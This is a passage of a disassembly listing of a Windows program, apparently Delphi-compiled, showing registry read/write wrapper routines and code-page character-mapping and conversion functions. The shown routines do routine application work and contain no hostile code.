		mov	eax, [ebp+var_C]
		call	sub_4038E8
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_40E7B4
		push	eax
		call	j_RegCreateKeyExA
		test	eax, eax
		setz	[ebp+var_2]

loc_40E881:				; CODE XREF: sub_40E7C8+85j
		cmp	[ebp+var_2], 0
		jz	short loc_40E8B7
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	al, bl
		jz	short loc_40E8AA
		push	dword ptr [esi+10h]
		push	offset dword_40E8E8
		push	[ebp+var_C]
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4037E4

loc_40E8AA:				; CODE XREF: sub_40E7C8+C8j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_40E790

loc_40E8B7:				; CODE XREF: sub_40E7C8+BDj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40E8D4

loc_40E8C4:				; CODE XREF: CODE:0040E8D2j
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		retn
sub_40E7C8	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E8CD:				; DATA XREF: sub_40E7C8+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40E8C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E8D4:				; DATA XREF: sub_40E7C8+F7o
		mov	al, [ebp-2]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_40E8E8	dd 5Ch			; DATA XREF: sub_40E7C8+CDo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E8EC	proc near		; CODE XREF: sub_40E93C+Fp
					; sub_40EAE4+5p

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebp, ecx
		mov	edi, edx
		mov	esi, eax
		mov	eax, ebp
		xor	ecx, ecx
		mov	edx, 8
		call	sub_4028D4
		lea	eax, [ebp+4]
		push	eax
		push	0
		lea	eax, [esp+8]
		push	eax
		push	0
		mov	eax, edi
		call	sub_4038E8
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	j_RegQueryValueExA_0
		test	eax, eax
		setz	bl
		mov	eax, [esp+18h+var_18]
		call	sub_40E69C
		mov	[ebp+0], al
		mov	eax, ebx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40E8EC	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E93C	proc near		; CODE XREF: sub_40E990+Fp

var_4		= dword	ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		call	sub_40E8EC
		test	al, al
		jz	short loc_40E95A
		mov	eax, [esp+8+var_4]
		jmp	short loc_40E95D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E95A:				; CODE XREF: sub_40E93C+16j
		or	eax, 0FFFFFFFFh

loc_40E95D:				; CODE XREF: sub_40E93C+1Cj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40E93C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E964	proc near		; CODE XREF: sub_415EAC+BCp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_403724
		inc	eax
		push	eax
		push	1
		mov	eax, esi
		call	sub_4038E8
		mov	ecx, eax
		mov	edx, edi
		mov	eax, ebx
		call	sub_40EA08
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40E964	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40E990	proc near		; CODE XREF: sub_415EAC+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_40E93C
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40E9F9
		mov	eax, edi
		mov	ecx, ebx
		xor	edx, edx
		call	sub_4035B0
		push	ebx
		lea	eax, [esp+4]
		push	eax
		mov	eax, [edi]
		call	sub_4038E8
		mov	ecx, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_40EA70
		cmp	byte ptr [esp+0], 1
		jz	short loc_40E9D9
		cmp	byte ptr [esp+0], 2
		jnz	short loc_40E9F0

loc_40E9D9:				; CODE XREF: sub_40E990+41j
		mov	eax, [edi]
		call	sub_4038E8
		call	sub_407534
		mov	edx, eax
		mov	eax, edi
		call	sub_4039FC
		jmp	short loc_40EA00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E9F0:				; CODE XREF: sub_40E990+47j
		mov	eax, ebp
		call	sub_40E62C
		jmp	short loc_40EA00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E9F9:				; CODE XREF: sub_40E990+18j
		mov	eax, edi
		call	sub_4034C8

loc_40EA00:				; CODE XREF: sub_40E990+5Ej
					; sub_40E990+67j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40E990	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40EA08	proc near		; CODE XREF: sub_40E964+21p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	ebx, eax
		mov	al, [ebp+arg_0]
		call	sub_40E66C
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		push	esi
		push	0
		mov	eax, edi
		call	sub_4038E8
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_RegSetValueExA
		test	eax, eax
		jz	short loc_40EA66
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, ds:off_41DBB8
		mov	dl, 1
		mov	eax, ds:off_40E564
		call	sub_409548
		call	sub_402F98

loc_40EA66:				; CODE XREF: sub_40EA08+38j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40EA08	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40EA70	proc near		; CODE XREF: sub_40E990+38p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		mov	eax, esi
		call	sub_4038E8
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	j_RegQueryValueExA_0
		test	eax, eax
		jz	short loc_40EAC8
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, ds:off_41DC90
		mov	dl, 1
		mov	eax, ds:off_40E564
		call	sub_409548
		call	sub_402F98

loc_40EAC8:				; CODE XREF: sub_40EA70+32j
		mov	ebx, dword ptr [ebp+arg_4]
		mov	eax, [ebp+var_4]
		call	sub_40E69C
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40EA70	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40EAE4	proc near		; CODE XREF: sub_415EAC+98p
		add	esp, 0FFFFFFF8h
		mov	ecx, esp
		call	sub_40E8EC
		pop	ecx
		pop	edx
		retn
sub_40EAE4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_40EAFC	dd 30h,	0FFFFFFFFh, 1, 31h ; DATA XREF:	DATA:0041C2F8o
					; DATA:0041C2FCo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40EB0C	proc near		; DATA XREF: CODE:0041A938o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40EB48
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E648
		jnz	short loc_40EB3A
		mov	eax, offset off_41C2F8
		mov	ecx, 2
		mov	edx, ds:off_401000
		call	sub_403BE8

loc_40EB3A:				; CODE XREF: sub_40EB0C+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40EB4F

locret_40EB47:				; CODE XREF: sub_40EB0C+41j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EB48:				; DATA XREF: sub_40EB0C+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40EB47
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EB4F:				; CODE XREF: sub_40EB0C+3Bj
					; DATA XREF: sub_40EB0C+36o
		pop	ebp
		retn
sub_40EB0C	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40EB54:				; DATA XREF: CODE:0041A934o
		sub	ds:dword_41E648, 1
		retn
; [00000006 BYTES: COLLAPSED FUNCTION j_ExtractIconA. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40EB64	proc near		; DATA XREF: CODE:0041A940o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40EB89
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E64C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40EB90

locret_40EB88:				; CODE XREF: sub_40EB64+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EB89:				; DATA XREF: sub_40EB64+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40EB88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EB90:				; CODE XREF: sub_40EB64+24j
					; DATA XREF: sub_40EB64+1Fo
		pop	ebp
		retn
sub_40EB64	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40EB94:				; DATA XREF: CODE:0041A93Co
		sub	ds:dword_41E64C, 1
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40EB9C	proc near		; CODE XREF: sub_40EBC4+70p
					; sub_40EBC4+83p ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, 80h
		mov	edx, eax
		mov	ebx, ecx

loc_40EBAB:				; CODE XREF: sub_40EB9C+1Cj
		mov	di, [edx]
		mov	[ebx], di
		add	ebx, 2
		add	edx, 2
		dec	esi
		jnz	short loc_40EBAB
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_40EB9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40EBC4	proc near		; CODE XREF: sub_40EDA4+3Ep
					; sub_40EDA4+51p
		and	eax, 7Fh
		cmp	eax, 13h	; switch 20 cases 
		ja	locret_40EDA2	; default
		jmp	ds:off_40EBD7[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40EBD7	dd offset loc_40EC27	; DATA XREF: sub_40EBC4+Cr
		dd offset loc_40EC3A	; jump table for switch	statement
		dd offset loc_40EC4D
		dd offset loc_40EC60
		dd offset loc_40EC73
		dd offset loc_40EC86
		dd offset loc_40EC99
		dd offset loc_40ECAC
		dd offset loc_40ECBF
		dd offset loc_40ECD2
		dd offset loc_40ECE5
		dd offset loc_40ECF8
		dd offset loc_40ED0B
		dd offset loc_40ED1E
		dd offset loc_40ED31
		dd offset loc_40ED44
		dd offset loc_40ED57
		dd offset loc_40ED6A
		dd offset loc_40ED7D
		dd offset loc_40ED90
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC27:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x0
		mov	eax, offset unk_41C300
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC3A:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x1
		mov	eax, offset unk_41C400
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC4D:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x2
		mov	eax, offset unk_41C500
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC60:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x3
		mov	eax, offset unk_41C600
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC73:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x4
		mov	eax, offset unk_41C700
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC86:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x5
		mov	eax, offset unk_41C800
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EC99:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x6
		mov	eax, offset unk_41C900
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ECAC:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x7
		mov	eax, offset unk_41CA00
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ECBF:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x8
		mov	eax, offset unk_41CB00
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ECD2:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x9
		mov	eax, offset unk_41CC00
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ECE5:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0xa
		mov	eax, offset unk_41CD00
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ECF8:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0xb
		mov	eax, offset unk_41CE00
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED0B:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0xc
		mov	eax, offset unk_41CF00
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED1E:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0xd
		mov	eax, offset unk_41D000
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED31:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0xe
		mov	eax, offset unk_41D100
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED44:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0xf
		mov	eax, offset unk_41D200
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED57:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x10
		mov	eax, offset unk_41D300
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED6A:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x11
		mov	eax, offset unk_41D400
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED7D:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x12
		mov	eax, offset unk_41D500
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40ED90:				; CODE XREF: sub_40EBC4+Cj
					; DATA XREF: sub_40EBC4+13o
		push	ecx		; case 0x13
		mov	eax, offset unk_41D600
		mov	ecx, edx
		mov	edx, 7Fh
		call	sub_40EB9C

locret_40EDA2:				; CODE XREF: sub_40EBC4+6j
		retn			; default
sub_40EBC4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40EDA4	proc near		; CODE XREF: sub_40F230+A1p
					; sub_4118CC+EFp ...

var_214		= dword	ptr -214h
var_210		= word ptr -210h
var_110		= byte ptr -110h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDECh
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_214], ebx
		mov	[ebp+var_5], cl
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40EE9C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_110]
		mov	ecx, 7Fh
		mov	eax, ebx
		call	sub_40EBC4
		lea	edx, [ebp+var_210]
		mov	ecx, 7Fh
		mov	al, [ebp+var_5]
		call	sub_40EBC4
		mov	eax, [ebp+arg_0]
		call	sub_4034C8
		mov	eax, [ebp+var_4]
		call	sub_403724
		test	eax, eax
		jle	short loc_40EE7B
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 1

loc_40EE18:				; CODE XREF: sub_40EDA4+D5j
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	bl, [eax+edx-1]
		cmp	bl, 80h
		jbe	short loc_40EE55
		xor	eax, eax
		mov	al, bl
		mov	si, [ebp+eax*2+var_210]
		mov	bl, 5Fh
		mov	edx, 80h
		lea	eax, [ebp+var_210]

loc_40EE40:				; CODE XREF: sub_40EDA4+AFj
		cmp	si, [eax]
		jnz	short loc_40EE49
		mov	ebx, edx
		jmp	short loc_40EE55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EE49:				; CODE XREF: sub_40EDA4+9Fj
		inc	edx
		add	eax, 2
		cmp	edx, 100h
		jnz	short loc_40EE40

loc_40EE55:				; CODE XREF: sub_40EDA4+81j
					; sub_40EDA4+A3j
		lea	eax, [ebp+var_214]
		mov	edx, ebx
		call	sub_403670
		mov	edx, [ebp+var_214]
		mov	eax, [ebp+arg_0]
		call	sub_40372C
		mov	eax, [ebp+arg_0]
		inc	[ebp+var_C]
		dec	[ebp+var_10]
		jnz	short loc_40EE18

loc_40EE7B:				; CODE XREF: sub_40EDA4+68j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40EEA3

loc_40EE88:				; CODE XREF: CODE:0040EEA1j
		lea	eax, [ebp+var_214]
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40EDA4	endp ; sp = -224h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EE9C:				; DATA XREF: sub_40EDA4+26o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40EE88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EEA3:				; DATA XREF: sub_40EDA4+DFo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40EEAC	proc near		; CODE XREF: sub_411838+39p
					; sub_412240+2Dp ...
		call	j_GetACP
		mov	dl, 0Ch
		cmp	eax, 4E2h
		jnz	short loc_40EEBC
		mov	dl, 0Ah

loc_40EEBC:				; CODE XREF: sub_40EEAC+Cj
		cmp	eax, 4E3h
		jnz	short loc_40EEC5
		mov	dl, 0Bh

loc_40EEC5:				; CODE XREF: sub_40EEAC+15j
		cmp	eax, 4E5h
		jnz	short loc_40EECE
		mov	dl, 0Dh

loc_40EECE:				; CODE XREF: sub_40EEAC+1Ej
		cmp	eax, 4E6h
		jnz	short loc_40EED7
		mov	dl, 0Eh

loc_40EED7:				; CODE XREF: sub_40EEAC+27j
		cmp	eax, 4E7h
		jnz	short loc_40EEE0
		mov	dl, 0Fh

loc_40EEE0:				; CODE XREF: sub_40EEAC+30j
		cmp	eax, 4E8h
		jnz	short loc_40EEE9
		mov	dl, 10h

loc_40EEE9:				; CODE XREF: sub_40EEAC+39j
		cmp	eax, 4E9h
		jnz	short loc_40EEF2
		mov	dl, 11h

loc_40EEF2:				; CODE XREF: sub_40EEAC+42j
		cmp	eax, 4EAh
		jnz	short loc_40EEFB
		mov	dl, 12h

loc_40EEFB:				; CODE XREF: sub_40EEAC+4Bj
		mov	eax, edx
		retn
sub_40EEAC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40EF00	proc near		; CODE XREF: sub_4118CC+2F5p
					; sub_412048+B6p
		push	ebx
		mov	ebx, edx
		and	eax, 7Fh
		cmp	eax, 13h	; switch 20 cases 
		ja	loc_40F070	; default
		jmp	ds:off_40EF16[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40EF16	dd offset loc_40F070	; DATA XREF: sub_40EF00+Fr
		dd offset loc_40EF66	; jump table for switch	statement
		dd offset loc_40EF74
		dd offset loc_40EF82
		dd offset loc_40EF90
		dd offset loc_40EF9E
		dd offset loc_40EFAC
		dd offset loc_40EFBA
		dd offset loc_40EFC8
		dd offset loc_40EFD6
		dd offset loc_40EFE4
		dd offset loc_40EFF2
		dd offset loc_40F000
		dd offset loc_40F00E
		dd offset loc_40F01C
		dd offset loc_40F02A
		dd offset loc_40F038
		dd offset loc_40F046
		dd offset loc_40F054
		dd offset loc_40F062
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EF66:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x1
		mov	edx, offset dword_40F088
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EF74:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x2
		mov	edx, offset dword_40F09C
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EF82:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x3
		mov	edx, offset dword_40F0B0
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EF90:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x4
		mov	edx, offset dword_40F0C4
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EF9E:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x5
		mov	edx, offset dword_40F0D8
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EFAC:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x6
		mov	edx, offset dword_40F0EC
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EFBA:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x7
		mov	edx, offset dword_40F100
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EFC8:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x8
		mov	edx, offset dword_40F114
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

